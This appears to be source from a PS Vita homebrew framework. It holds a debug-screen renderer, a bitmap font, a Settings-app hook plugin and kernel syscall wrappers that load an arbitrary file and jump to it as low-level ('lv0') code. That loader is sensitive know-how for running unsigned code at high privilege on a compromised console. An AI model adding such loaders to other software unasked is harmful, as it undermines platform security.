continue; 131 | } else if (text[c] == '\r') { 132 | psvDebugScreenCoordX = 0; 133 | continue; 134 | } else if ((text[c] == '\e') && (text[c+1] == '[')) { /* escape code (change color, position ...) */ 135 | c+=psvDebugScreenEscape(text+2)+2; 136 | continue; 137 | } 138 | 139 | vram = (uint32_t*)psvDebugScreenFrameBuf.base; 140 | 141 | font = &psvDebugScreenFont[ (int)text[c] * 8]; 142 | for (i = l = 0; i < SCREEN_GLYPH_W; i++, l += SCREEN_GLYPH_W, font++) { 143 | for (j = 0; j < SCREEN_GLYPH_W; j++) { 144 | for (y = 0; y < PSV_DEBUG_SCALE; y++) { 145 | for (x = 0; x < PSV_DEBUG_SCALE; x++) { 146 | vram_ptr = &vram[(psvDebugScreenCoordX + x + j * PSV_DEBUG_SCALE) + 147 | (psvDebugScreenCoordY + y + i * PSV_DEBUG_SCALE) * SCREEN_FB_WIDTH]; 148 | if ((*font & (128 >> j))) 149 | *vram_ptr = psvDebugScreenColorFg; 150 | else 151 | *vram_ptr = psvDebugScreenColorBg; 152 | } 153 | } 154 | } 155 | } 156 | psvDebugScreenCoordX += SCREEN_GLYPH_W * PSV_DEBUG_SCALE; 157 | } 158 | 159 | sceKernelUnlockMutex(psvDebugScreenMutex, 1); 160 | return c; 161 | } 162 | 163 | int psvDebugScreenPrintf(const char *format, ...) { 164 | char buf[512]; 165 | 166 | va_list opt; 167 | va_start(opt, format); 168 | int ret = vsnprintf(buf, sizeof(buf), format, opt); 169 | psvDebugScreenPuts(buf); 170 | va_end(opt); 171 | 172 | return ret; 173 | } 174 | 175 | #endif 176 | -------------------------------------------------------------------------------- /Kernel/user.h: -------------------------------------------------------------------------------- 1 | /* 2 | exec_code_for_user(path, csize) 3 | Reads [csize] from [path] to (0x1C000000 + NMFEND_OFF + 0x100) and jumps to it there 4 | ARG 1 (char *): 5 | - source payload file path, set to NULL if source is a buf 6 | ARG 2 (uint32_t): 7 | - payload size 8 | RET (int): 9 | - 0x23: file i/o error 10 | - renga_exec_code ret 11 | */ 12 | int renga_exec_code_for_user(const char *path, uint32_t csize) { 13 | char k_path[1 + (64 * 3)]; 14 | uint32_t state; 15 | int ret = 0; 16 | ENTER_SYSCALL(state); 17 | ksceKernelStrncpyUserToKernel(k_path, (uintptr_t)path, (64 * 3)); 18 | LOG("Reading lv0 code from %s for user\n", k_path); 19 | SceIoStat stat; 20 | int stat_ret = ksceIoGetstat(k_path, &stat); 21 | if(stat_ret < 0) 22 | return 0x23; 23 | if (csize == 0) 24 | csize = stat.st_size; 25 | ret = renga_exec_code(NULL, k_path, csize); 26 | EXIT_SYSCALL(state); 27 | return ret; 28 | } 29 | 30 | /* 31 | work_commem_for_user(path, off, size, mode) 32 | [Copy/Read] to/from commem to/from [buf/file] 33 | ARG 1 (char *): 34 | - file path 35 | ARG 2 (uint32_t): 36 | - commem offset 37 | ARG 3 (uint32_t): 38 | - read/write size 39 | ARG 4 (int): 40 | - mode, if 1: file->commem, else commem->file 41 | RET (int): 42 | - NMPcopy/NMPfile_op ret 43 | */ 44 | int renga_work_commem_for_user(const char *path, uint32_t off, uint32_t csize, int mode) { 45 | char k_path[1 + (64 * 3)]; 46 | uint32_t state; 47 | int ret = 0; 48 | ENTER_SYSCALL(state); 49 | LOG("Working commem for user\n"); 50 | ksceKernelStrncpyUserToKernel(k_path, (uintptr_t)path, (64 * 3)); 51 | if (mode == 1) { 52 | SceIoStat stat; 53 | int stat_ret = ksceIoGetstat(k_path, &stat); 54 | if(stat_ret < 0) 55 | return 0x23; 56 | if (mode == 1) 57 | csize = stat.st_size; 58 | } 59 | ret = renga_work_commem(NULL, k_path, off, csize, mode); 60 | EXIT_SYSCALL(state); 61 | return ret; 62 | } 63 | 64 | /* 65 | set_logging_for_user(mode) 66 | Sets logging mode for user 67 | ARG 1 (int): 68 | - new logging mode 69 | RET (int): 70 | - renga_set_logging ret 71 | */ 72 | int renga_set_logging_for_user(int mode) { 73 | uint32_t state; 74 | int ret = 0; 75 | ENTER_SYSCALL(state); 76 | LOG("Setting log mode %d for user\n", mode); 77 | ret = renga_set_logging(mode); 78 | LOG("Set log mode %d for user\n", mode); 79 | EXIT_SYSCALL(state); 80 | return ret; 81 | } 82 | 83 | /* 84 | force_reset_framework(restore_mirror) 85 | Resets the commem and sets up the lv0 framework for user 86 | ARG 1 (int): 87 | - if 1, executes reset entries 88 | RET (int): 89 | - renga_force_reset_framework ret 90 | */ 91 | int renga_force_reset_framework_for_user(int restore_mirror) { 92 | uint32_t state; 93 | int ret = 0; 94 | ENTER_SYSCALL(state); 95 | LOG("WARNING: user requested lv0 framework reset!\n"); 96 | ret = renga_force_reset_framework(restore_mirror); 97 | EXIT_SYSCALL(state); 98 | return ret; 99 | } 100 | 101 | /* 102 | get_status_for_user(magic) 103 | Gets [magic] status for user 104 | ARG 1 (uint16_t): 105 | - entry magic (0x0 for the whole framework) 106 | RET (uint8_t): 107 | - renga_get_status ret 108 | */ 109 | uint8_t renga_get_status_for_user(uint16_t magic) { 110 | uint32_t state; 111 | uint8_t ret = 0; 112 | ENTER_SYSCALL(state); 113 | LOG("User requested status for 0x%04X\n", magic); 114 | ret = renga_get_status(magic); 115 | EXIT_SYSCALL(state); 116 | return ret; 117 | } 118 | 119 | /* 120 | get_opmode_for_user(magic) 121 | Gets [magic] status for user 122 | ARG 1 (uint16_t): 123 | - entry magic (0x0 for the whole framework) 124 | RET (uint8_t): 125 | - renga_get_opmode ret 126 | */ 127 | uint8_t renga_get_opmode_for_user(uint16_t magic) { 128 | uint32_t state; 129 | uint8_t ret = 0; 130 | ENTER_SYSCALL(state); 131 | LOG("User requested opmode for 0x%04X\n", magic); 132 | ret = renga_get_opmode(magic); 133 | EXIT_SYSCALL(state); 134 | return ret; 135 | } 136 | 137 | /* 138 | set_opmode_for_user(magic, opmode) 139 | Gets [magic] status for user 140 | ARG 1 (uint16_t): 141 | - entry magic (0x0 for the whole framework) 142 | ARG 2 (uint8_t): 143 | - new entry mode 144 | RET (int): 145 | - renga_set_opmode ret 146 | */ 147 | int renga_set_opmode_for_user(uint16_t magic, uint8_t opmode) { 148 | uint32_t state; 149 | int ret = 0; 150 | ENTER_SYSCALL(state); 151 | LOG("User sets opmode 0x%X for 0x%04X\n", opmode, magic); 152 | ret = renga_set_opmode(magic, opmode); 153 | EXIT_SYSCALL(state); 154 | return ret; 155 | } 156 | 157 | /* 158 | force_commemblock_for_user(mode, clean) 159 | Reserves/Frees the commem 160 | ARG 1 (int): 161 | - if 1: reserve commem, else free commem 162 | ARG 2 (int): 163 | - memset? (0/1) 164 | RET (int): 165 | - renga_force_commemblock ret 166 | */ 167 | int renga_force_commemblock_for_user(int mode, int clean) { 168 | uint32_t state; 169 | int ret = 0; 170 | ENTER_SYSCALL(state); 171 | LOG("WARNING: user requested commemblock %s [%d]!\n", mode == 1 ? "reserve" : "free", clean); 172 | ret = renga_force_commemblock(mode, clean); 173 | EXIT_SYSCALL(state); 174 | return ret; 175 | } 176 | 177 | /* 178 | add_entry_for_user(path, type, magic) 179 | Adds a framework entry 180 | ARG 1 (char *): 181 | - entry file 182 | ARG 2 (uint8_t): 183 | - entry type 1/0x10 (code/SM) 184 | ARG 3 (uint16_t): 185 | - entry magic 186 | RET (int): 187 | - NMFadd_entry ret 188 | */ 189 | int renga_add_entry_for_user(char *path, uint8_t type, uint16_t magic) { 190 | char k_path[1 + (64 * 3)]; 191 | uint32_t state; 192 | int ret = 0; 193 | ENTER_SYSCALL(state); 194 | ksceKernelStrncpyUserToKernel(k_path, (uintptr_t)path, (64 * 3)); 195 | LOG("Adding entry of type 0x%02X from %s for user\n", type, k_path); 196 | ret = renga_add_entry(NULL, k_path, 0, type, magic); 197 | EXIT_SYSCALL(state); 198 | return ret; 199 | } 200 | 201 | /* 202 | remove_entry_for_user(type, magic) 203 | Removes a framework entry 204 | ARG 1 (uint8_t): 205 | - entry type 1/0x10 (code/SM) 206 | ARG 2 (uint16_t): 207 | - entry magic 208 | RET (int): 209 | - NMFremove_entry ret 210 | */ 211 | int renga_remove_entry_for_user(uint8_t type, uint16_t magic) { 212 | uint32_t state; 213 | int ret = 0; 214 | ENTER_SYSCALL(state); 215 | LOG("Removing entry of type 0x%02X from 0x%02X for user\n", type, magic); 216 | ret = renga_remove_entry(type, magic); 217 | EXIT_SYSCALL(state); 218 | return ret; 219 | } 220 | 221 | /* 222 | xet_bank_for_user(entry) 223 | Sets/Gets current framework bank 224 | ARG 1 (int): 225 | - new bank (0 to GET current bank) 226 | RET (int): 227 | - 0x00: ok 228 | - 0x35: commem not reserved 229 | - 0x69: invalid target bank 230 | - else: (if entry==0 : current bank) 231 | */ 232 | int renga_xet_bank_for_user(int entry) { 233 | uint32_t state; 234 | int ret = 0; 235 | ENTER_SYSCALL(state); 236 | LOG("xetting bank for user [0x%X]\n", entry); 237 | ret = renga_xet_bank(entry); 238 | EXIT_SYSCALL(state); 239 | return ret; 240 | } 241 | -------------------------------------------------------------------------------- /User/plugin/_settings/rengaUser.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "../../../Include/renga_user-funcs.h" 11 | 12 | extern unsigned char _binary_console_info_xml_start; 13 | extern unsigned char _binary_console_info_xml_size; 14 | 15 | static SceUID g_hooks[6]; 16 | 17 | static tai_hook_ref_t g_sceRegMgrGetKeyInt_SceSystemSettingsCore_hook; 18 | static int sceRegMgrGetKeyInt_SceSystemSettingsCore_patched(const char *category, const char *name, int *value) { 19 | if (sceClibStrncmp(category, "/CONFIG/RENGA", 13) == 0) { 20 | if (value) { 21 | if (sceClibStrncmp(name, "mode", 4) == 0) 22 | *value = renga_xet_bank_for_user(0); 23 | } 24 | return 0; 25 | } 26 | return TAI_CONTINUE(int, g_sceRegMgrGetKeyInt_SceSystemSettingsCore_hook, category, name, value); 27 | } 28 | 29 | static tai_hook_ref_t g_sceRegMgrSetKeyInt_SceSystemSettingsCore_hook; 30 | static int sceRegMgrSetKeyInt_SceSystemSettingsCore_patched(const char *category, const char *name, int value) { 31 | if (sceClibStrncmp(category, "/CONFIG/RENGA", 13) == 0) { 32 | if (sceClibStrncmp(name, "mode", 4) == 0) 33 | renga_xet_bank_for_user(value); 34 | return 0; 35 | } 36 | return TAI_CONTINUE(int, g_sceRegMgrSetKeyInt_SceSystemSettingsCore_hook, category, name, value); 37 | } 38 | 39 | typedef struct { 40 | int size; 41 | const char *name; 42 | int type; 43 | int unk; 44 | } SceRegMgrKeysInfo; 45 | 46 | static tai_hook_ref_t g_sceRegMgrGetKeysInfo_SceSystemSettingsCore_hook; 47 | static int sceRegMgrGetKeysInfo_SceSystemSettingsCore_patched(const char *category, SceRegMgrKeysInfo *info, int unk) { 48 | if (sceClibStrncmp(category, "/CONFIG/RENGA", 13) == 0) { 49 | if (info) { 50 | info->type = 0x00040000; // type integer 51 | } 52 | return 0; 53 | } 54 | return TAI_CONTINUE(int, g_sceRegMgrGetKeysInfo_SceSystemSettingsCore_hook, category, info, unk); 55 | } 56 | 57 | static tai_hook_ref_t g_scePafMiscLoadXmlLayout_SceSettings_hook; 58 | static int scePafMiscLoadXmlLayout_SceSettings_patched(int a1, void *xml_buf, int xml_size, int a4) { 59 | if (sceClibStrncmp(xml_buf+79, "console_info_plugin", 19) == 0) { 60 | xml_buf = (void *)&_binary_console_info_xml_start; 61 | xml_size = (int)&_binary_console_info_xml_size; 62 | } 63 | return TAI_CONTINUE(int, g_scePafMiscLoadXmlLayout_SceSettings_hook, a1, xml_buf, xml_size, a4); 64 | } 65 | 66 | static SceUID g_system_settings_core_modid = -1; 67 | static tai_hook_ref_t g_sceKernelLoadStartModule_SceSettings_hook; 68 | static SceUID sceKernelLoadStartModule_SceSettings_patched(char *path, SceSize args, void *argp, int flags, SceKernelLMOption *option, int *status) { 69 | SceUID ret = TAI_CONTINUE(SceUID, g_sceKernelLoadStartModule_SceSettings_hook, path, args, argp, flags, option, status); 70 | if (ret >= 0 && sceClibStrncmp(path, "vs0:app/NPXS10015/system_settings_core.suprx", 44) == 0) { 71 | g_system_settings_core_modid = ret; 72 | g_hooks[2] = taiHookFunctionImport(&g_scePafMiscLoadXmlLayout_SceSettings_hook, 73 | "SceSettings", 74 | 0x3D643CE8, // ScePafMisc 75 | 0x19FE55A8, 76 | scePafMiscLoadXmlLayout_SceSettings_patched); 77 | g_hooks[3] = taiHookFunctionImport(&g_sceRegMgrGetKeyInt_SceSystemSettingsCore_hook, 78 | "SceSystemSettingsCore", 79 | 0xC436F916, // SceRegMgr 80 | 0x16DDF3DC, 81 | sceRegMgrGetKeyInt_SceSystemSettingsCore_patched); 82 | g_hooks[4] = taiHookFunctionImport(&g_sceRegMgrSetKeyInt_SceSystemSettingsCore_hook, 83 | "SceSystemSettingsCore", 84 | 0xC436F916, // SceRegMgr 85 | 0xD72EA399, 86 | sceRegMgrSetKeyInt_SceSystemSettingsCore_patched); 87 | g_hooks[5] = taiHookFunctionImport(&g_sceRegMgrGetKeysInfo_SceSystemSettingsCore_hook, 88 | "SceSystemSettingsCore", 89 | 0xC436F916, // SceRegMgr 90 | 0x58421DD1, 91 | sceRegMgrGetKeysInfo_SceSystemSettingsCore_patched); 92 | } 93 | return ret; 94 | } 95 | 96 | static tai_hook_ref_t g_sceKernelStopUnloadModule_SceSettings_hook; 97 | static int sceKernelStopUnloadModule_SceSettings_patched(SceUID modid, SceSize args, void *argp, int flags, SceKernelULMOption *option, int *status) { 98 | if (modid == g_system_settings_core_modid) { 99 | g_system_settings_core_modid = -1; 100 | if (g_hooks[2] >= 0) taiHookRelease(g_hooks[2], g_scePafMiscLoadXmlLayout_SceSettings_hook); 101 | if (g_hooks[3] >= 0) taiHookRelease(g_hooks[3], g_sceRegMgrGetKeyInt_SceSystemSettingsCore_hook); 102 | if (g_hooks[4] >= 0) taiHookRelease(g_hooks[4], g_sceRegMgrSetKeyInt_SceSystemSettingsCore_hook); 103 | if (g_hooks[5] >= 0) taiHookRelease(g_hooks[5], g_sceRegMgrGetKeysInfo_SceSystemSettingsCore_hook); 104 | } 105 | return TAI_CONTINUE(int, g_sceKernelStopUnloadModule_SceSettings_hook, modid, args, argp, flags, option, status); 106 | } 107 | 108 | void _start() __attribute__ ((weak, alias ("module_start"))); 109 | int module_start(SceSize argc, const void *args) { 110 | g_hooks[0] = taiHookFunctionImport(&g_sceKernelLoadStartModule_SceSettings_hook, 111 | "SceSettings", 112 | 0xCAE9ACE6, // SceLibKernel 113 | 0x2DCC4AFA, 114 | sceKernelLoadStartModule_SceSettings_patched); 115 | g_hooks[1] = taiHookFunctionImport(&g_sceKernelStopUnloadModule_SceSettings_hook, 116 | "SceSettings", 117 | 0xCAE9ACE6, // SceLibKernel 118 | 0x2415F8A4, 119 | sceKernelStopUnloadModule_SceSettings_patched); 120 | return SCE_KERNEL_START_SUCCESS; 121 | } 122 | 123 | int module_stop(SceSize argc, const void *args) { 124 | // free hooks that didn't fail 125 | if (g_hooks[0] >= 0) taiHookRelease(g_hooks[0], g_sceKernelLoadStartModule_SceSettings_hook); 126 | if (g_hooks[1] >= 0) taiHookRelease(g_hooks[1], g_sceKernelStopUnloadModule_SceSettings_hook); 127 | if (g_hooks[2] >= 0) taiHookRelease(g_hooks[2], g_scePafMiscLoadXmlLayout_SceSettings_hook); 128 | if (g_hooks[3] >= 0) taiHookRelease(g_hooks[3], g_sceRegMgrGetKeyInt_SceSystemSettingsCore_hook); 129 | if (g_hooks[4] >= 0) taiHookRelease(g_hooks[4], g_sceRegMgrSetKeyInt_SceSystemSettingsCore_hook); 130 | if (g_hooks[5] >= 0) taiHookRelease(g_hooks[5], g_sceRegMgrGetKeysInfo_SceSystemSettingsCore_hook); 131 | return SCE_KERNEL_STOP_SUCCESS; 132 | } 133 | -------------------------------------------------------------------------------- /User/app/debugScreenFont.c: -------------------------------------------------------------------------------- 1 | /* 2 | * PSP Software Development Kit - http://www.pspdev.org 3 | * ----------------------------------------------------------------------- 4 | * Licensed under the BSD license, see LICENSE in PSPSDK root for details. 5 | * 6 | * font.c - Debug Font. 7 | * 8 | * Copyright (c) 2005 Marcus R. Brown 9 | * Copyright (c) 2005 James Forshaw 10 | * Copyright (c) 2005 John Kelley 11 | * 12 | * $Id: font.c 540 2005-07-08 19:35:10Z warren $ 13 | */ 14 | 15 | unsigned char psvDebugScreenFont[]= 16 | "\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x42\xa5\x81\xa5\x99\x42\x3c" 17 | "\x3c\x7e\xdb\xff\xff\xdb\x66\x3c\x6c\xfe\xfe\xfe\x7c\x38\x10\x00" 18 | "\x10\x38\x7c\xfe\x7c\x38\x10\x00\x10\x38\x54\xfe\x54\x10\x38\x00" 19 | "\x10\x38\x7c\xfe\xfe\x10\x38\x00\x00\x00\x00\x30\x30\x00\x00\x00" 20 | "\xff\xff\xff\xe7\xe7\xff\xff\xff\x38\x44\x82\x82\x82\x44\x38\x00" 21 | "\xc7\xbb\x7d\x7d\x7d\xbb\xc7\xff\x0f\x03\x05\x79\x88\x88\x88\x70" 22 | "\x38\x44\x44\x44\x38\x10\x7c\x10\x30\x28\x24\x24\x28\x20\xe0\xc0" 23 | "\x3c\x24\x3c\x24\x24\xe4\xdc\x18\x10\x54\x38\xee\x38\x54\x10\x00" 24 | "\x10\x10\x10\x7c\x10\x10\x10\x10\x10\x10\x10\xff\x00\x00\x00\x00" 25 | "\x00\x00\x00\xff\x10\x10\x10\x10\x10\x10\x10\xf0\x10\x10\x10\x10" 26 | "\x10\x10\x10\x1f\x10\x10\x10\x10\x10\x10\x10\xff\x10\x10\x10\x10" 27 | "\x10\x10\x10\x10\x10\x10\x10\x10\x00\x00\x00\xff\x00\x00\x00\x00" 28 | "\x00\x00\x00\x1f\x10\x10\x10\x10\x00\x00\x00\xf0\x10\x10\x10\x10" 29 | "\x10\x10\x10\x1f\x00\x00\x00\x00\x10\x10\x10\xf0\x00\x00\x00\x00" 30 | "\x81\x42\x24\x18\x18\x24\x42\x81\x01\x02\x04\x08\x10\x20\x40\x80" 31 | "\x80\x40\x20\x10\x08\x04\x02\x01\x00\x10\x10\xff\x10\x10\x00\x00" 32 | "\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\x00\x00\x20\x00" 33 | "\x50\x50\x50\x00\x00\x00\x00\x00\x50\x50\xf8\x50\xf8\x50\x50\x00" 34 | "\x20\x78\xa0\x70\x28\xf0\x20\x00\xc0\xc8\x10\x20\x40\x98\x18\x00" 35 | "\x40\xa0\x40\xa8\x90\x98\x60\x00\x10\x20\x40\x00\x00\x00\x00\x00" 36 | "\x10\x20\x40\x40\x40\x20\x10\x00\x40\x20\x10\x10\x10\x20\x40\x00" 37 | "\x20\xa8\x70\x20\x70\xa8\x20\x00\x00\x20\x20\xf8\x20\x20\x00\x00" 38 | "\x00\x00\x00\x00\x00\x20\x20\x40\x00\x00\x00\x78\x00\x00\x00\x00" 39 | "\x00\x00\x00\x00\x00\x60\x60\x00\x00\x00\x08\x10\x20\x40\x80\x00" 40 | "\x70\x88\x98\xa8\xc8\x88\x70\x00\x20\x60\xa0\x20\x20\x20\xf8\x00" 41 | "\x70\x88\x08\x10\x60\x80\xf8\x00\x70\x88\x08\x30\x08\x88\x70\x00" 42 | "\x10\x30\x50\x90\xf8\x10\x10\x00\xf8\x80\xe0\x10\x08\x10\xe0\x00" 43 | "\x30\x40\x80\xf0\x88\x88\x70\x00\xf8\x88\x10\x20\x20\x20\x20\x00" 44 | "\x70\x88\x88\x70\x88\x88\x70\x00\x70\x88\x88\x78\x08\x10\x60\x00" 45 | "\x00\x00\x20\x00\x00\x20\x00\x00\x00\x00\x20\x00\x00\x20\x20\x40" 46 | "\x18\x30\x60\xc0\x60\x30\x18\x00\x00\x00\xf8\x00\xf8\x00\x00\x00" 47 | "\xc0\x60\x30\x18\x30\x60\xc0\x00\x70\x88\x08\x10\x20\x00\x20\x00" 48 | "\x70\x88\x08\x68\xa8\xa8\x70\x00\x20\x50\x88\x88\xf8\x88\x88\x00" 49 | "\xf0\x48\x48\x70\x48\x48\xf0\x00\x30\x48\x80\x80\x80\x48\x30\x00" 50 | "\xe0\x50\x48\x48\x48\x50\xe0\x00\xf8\x80\x80\xf0\x80\x80\xf8\x00" 51 | "\xf8\x80\x80\xf0\x80\x80\x80\x00\x70\x88\x80\xb8\x88\x88\x70\x00" 52 | "\x88\x88\x88\xf8\x88\x88\x88\x00\x70\x20\x20\x20\x20\x20\x70\x00" 53 | "\x38\x10\x10\x10\x90\x90\x60\x00\x88\x90\xa0\xc0\xa0\x90\x88\x00" 54 | "\x80\x80\x80\x80\x80\x80\xf8\x00\x88\xd8\xa8\xa8\x88\x88\x88\x00" 55 | "\x88\xc8\xc8\xa8\x98\x98\x88\x00\x70\x88\x88\x88\x88\x88\x70\x00" 56 | "\xf0\x88\x88\xf0\x80\x80\x80\x00\x70\x88\x88\x88\xa8\x90\x68\x00" 57 | "\xf0\x88\x88\xf0\xa0\x90\x88\x00\x70\x88\x80\x70\x08\x88\x70\x00" 58 | "\xf8\x20\x20\x20\x20\x20\x20\x00\x88\x88\x88\x88\x88\x88\x70\x00" 59 | "\x88\x88\x88\x88\x50\x50\x20\x00\x88\x88\x88\xa8\xa8\xd8\x88\x00" 60 | "\x88\x88\x50\x20\x50\x88\x88\x00\x88\x88\x88\x70\x20\x20\x20\x00" 61 | "\xf8\x08\x10\x20\x40\x80\xf8\x00\x70\x40\x40\x40\x40\x40\x70\x00" 62 | "\x00\x00\x80\x40\x20\x10\x08\x00\x70\x10\x10\x10\x10\x10\x70\x00" 63 | "\x20\x50\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00" 64 | "\x40\x20\x10\x00\x00\x00\x00\x00\x00\x00\x70\x08\x78\x88\x78\x00" 65 | "\x80\x80\xb0\xc8\x88\xc8\xb0\x00\x00\x00\x70\x88\x80\x88\x70\x00" 66 | "\x08\x08\x68\x98\x88\x98\x68\x00\x00\x00\x70\x88\xf8\x80\x70\x00" 67 | "\x10\x28\x20\xf8\x20\x20\x20\x00\x00\x00\x68\x98\x98\x68\x08\x70" 68 | "\x80\x80\xf0\x88\x88\x88\x88\x00\x20\x00\x60\x20\x20\x20\x70\x00" 69 | "\x10\x00\x30\x10\x10\x10\x90\x60\x40\x40\x48\x50\x60\x50\x48\x00" 70 | "\x60\x20\x20\x20\x20\x20\x70\x00\x00\x00\xd0\xa8\xa8\xa8\xa8\x00" 71 | "\x00\x00\xb0\xc8\x88\x88\x88\x00\x00\x00\x70\x88\x88\x88\x70\x00" 72 | "\x00\x00\xb0\xc8\xc8\xb0\x80\x80\x00\x00\x68\x98\x98\x68\x08\x08" 73 | "\x00\x00\xb0\xc8\x80\x80\x80\x00\x00\x00\x78\x80\xf0\x08\xf0\x00" 74 | "\x40\x40\xf0\x40\x40\x48\x30\x00\x00\x00\x90\x90\x90\x90\x68\x00" 75 | "\x00\x00\x88\x88\x88\x50\x20\x00\x00\x00\x88\xa8\xa8\xa8\x50\x00" 76 | "\x00\x00\x88\x50\x20\x50\x88\x00\x00\x00\x88\x88\x98\x68\x08\x70" 77 | "\x00\x00\xf8\x10\x20\x40\xf8\x00\x18\x20\x20\x40\x20\x20\x18\x00" 78 | "\x20\x20\x20\x00\x20\x20\x20\x00\xc0\x20\x20\x10\x20\x20\xc0\x00" 79 | "\x40\xa8\x10\x00\x00\x00\x00\x00\x00\x00\x20\x50\xf8\x00\x00\x00" 80 | "\x70\x88\x80\x80\x88\x70\x20\x60\x90\x00\x00\x90\x90\x90\x68\x00" 81 | "\x10\x20\x70\x88\xf8\x80\x70\x00\x20\x50\x70\x08\x78\x88\x78\x00" 82 | "\x48\x00\x70\x08\x78\x88\x78\x00\x20\x10\x70\x08\x78\x88\x78\x00" 83 | "\x20\x00\x70\x08\x78\x88\x78\x00\x00\x70\x80\x80\x80\x70\x10\x60" 84 | "\x20\x50\x70\x88\xf8\x80\x70\x00\x50\x00\x70\x88\xf8\x80\x70\x00" 85 | "\x20\x10\x70\x88\xf8\x80\x70\x00\x50\x00\x00\x60\x20\x20\x70\x00" 86 | "\x20\x50\x00\x60\x20\x20\x70\x00\x40\x20\x00\x60\x20\x20\x70\x00" 87 | "\x50\x00\x20\x50\x88\xf8\x88\x00\x20\x00\x20\x50\x88\xf8\x88\x00" 88 | "\x10\x20\xf8\x80\xf0\x80\xf8\x00\x00\x00\x6c\x12\x7e\x90\x6e\x00" 89 | "\x3e\x50\x90\x9c\xf0\x90\x9e\x00\x60\x90\x00\x60\x90\x90\x60\x00" 90 | "\x90\x00\x00\x60\x90\x90\x60\x00\x40\x20\x00\x60\x90\x90\x60\x00" 91 | "\x40\xa0\x00\xa0\xa0\xa0\x50\x00\x40\x20\x00\xa0\xa0\xa0\x50\x00" 92 | "\x90\x00\x90\x90\xb0\x50\x10\xe0\x50\x00\x70\x88\x88\x88\x70\x00" 93 | "\x50\x00\x88\x88\x88\x88\x70\x00\x20\x20\x78\x80\x80\x78\x20\x20" 94 | "\x18\x24\x20\xf8\x20\xe2\x5c\x00\x88\x50\x20\xf8\x20\xf8\x20\x00" 95 | "\xc0\xa0\xa0\xc8\x9c\x88\x88\x8c\x18\x20\x20\xf8\x20\x20\x20\x40" 96 | "\x10\x20\x70\x08\x78\x88\x78\x00\x10\x20\x00\x60\x20\x20\x70\x00" 97 | "\x20\x40\x00\x60\x90\x90\x60\x00\x20\x40\x00\x90\x90\x90\x68\x00" 98 | "\x50\xa0\x00\xa0\xd0\x90\x90\x00\x28\x50\x00\xc8\xa8\x98\x88\x00" 99 | "\x00\x70\x08\x78\x88\x78\x00\xf8\x00\x60\x90\x90\x90\x60\x00\xf0" 100 | "\x20\x00\x20\x40\x80\x88\x70\x00\x00\x00\x00\xf8\x80\x80\x00\x00" 101 | "\x00\x00\x00\xf8\x08\x08\x00\x00\x84\x88\x90\xa8\x54\x84\x08\x1c" 102 | "\x84\x88\x90\xa8\x58\xa8\x3c\x08\x20\x00\x00\x20\x20\x20\x20\x00" 103 | "\x00\x00\x24\x48\x90\x48\x24\x00\x00\x00\x90\x48\x24\x48\x90\x00" 104 | "\x28\x50\x20\x50\x88\xf8\x88\x00\x28\x50\x70\x08\x78\x88\x78\x00" 105 | "\x28\x50\x00\x70\x20\x20\x70\x00\x28\x50\x00\x20\x20\x20\x70\x00" 106 | "\x28\x50\x00\x70\x88\x88\x70\x00\x50\xa0\x00\x60\x90\x90\x60\x00" 107 | "\x28\x50\x00\x88\x88\x88\x70\x00\x50\xa0\x00\xa0\xa0\xa0\x50\x00" 108 | "\xfc\x48\x48\x48\xe8\x08\x50\x20\x00\x50\x00\x50\x50\x50\x10\x20" 109 | "\xc0\x44\xc8\x54\xec\x54\x9e\x04\x10\xa8\x40\x00\x00\x00\x00\x00" 110 | "\x00\x20\x50\x88\x50\x20\x00\x00\x88\x10\x20\x40\x80\x28\x00\x00" 111 | "\x7c\xa8\xa8\x68\x28\x28\x28\x00\x38\x40\x30\x48\x48\x30\x08\x70" 112 | "\x00\x00\x00\x00\x00\x00\xff\xff\xf0\xf0\xf0\xf0\x0f\x0f\x0f\x0f" 113 | "\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00" 114 | "\x00\x00\x00\x3c\x3c\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00" 115 | "\xc0\xc0\xc0\xc0\xc0\xc0\xc0\xc0\x0f\x0f\x0f\x0f\xf0\xf0\xf0\xf0" 116 | "\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\x03\x03\x03\x03\x03\x03\x03\x03" 117 | "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x11\x22\x44\x88\x11\x22\x44\x88" 118 | "\x88\x44\x22\x11\x88\x44\x22\x11\xfe\x7c\x38\x10\x00\x00\x00\x00" 119 | "\x00\x00\x00\x00\x10\x38\x7c\xfe\x80\xc0\xe0\xf0\xe0\xc0\x80\x00" 120 | "\x01\x03\x07\x0f\x07\x03\x01\x00\xff\x7e\x3c\x18\x18\x3c\x7e\xff" 121 | "\x81\xc3\xe7\xff\xff\xe7\xc3\x81\xf0\xf0\xf0\xf0\x00\x00\x00\x00" 122 | "\x00\x00\x00\x00\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x00\x00\x00\x00" 123 | "\x00\x00\x00\x00\xf0\xf0\xf0\xf0\x33\x33\xcc\xcc\x33\x33\xcc\xcc" 124 | "\x00\x20\x20\x50\x50\x88\xf8\x00\x20\x20\x70\x20\x70\x20\x20\x00" 125 | "\x00\x00\x00\x50\x88\xa8\x50\x00\xff\xff\xff\xff\xff\xff\xff\xff" 126 | "\x00\x00\x00\x00\xff\xff\xff\xff\xf0\xf0\xf0\xf0\xf0\xf0\xf0\xf0" 127 | "\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\xff\xff\xff\xff\x00\x00\x00\x00" 128 | "\x00\x00\x68\x90\x90\x90\x68\x00\x30\x48\x48\x70\x48\x48\x70\xc0" 129 | "\xf8\x88\x80\x80\x80\x80\x80\x00\xf8\x50\x50\x50\x50\x50\x98\x00" 130 | "\xf8\x88\x40\x20\x40\x88\xf8\x00\x00\x00\x78\x90\x90\x90\x60\x00" 131 | "\x00\x50\x50\x50\x50\x68\x80\x80\x00\x50\xa0\x20\x20\x20\x20\x00" 132 | "\xf8\x20\x70\xa8\xa8\x70\x20\xf8\x20\x50\x88\xf8\x88\x50\x20\x00" 133 | "\x70\x88\x88\x88\x50\x50\xd8\x00\x30\x40\x40\x20\x50\x50\x50\x20" 134 | 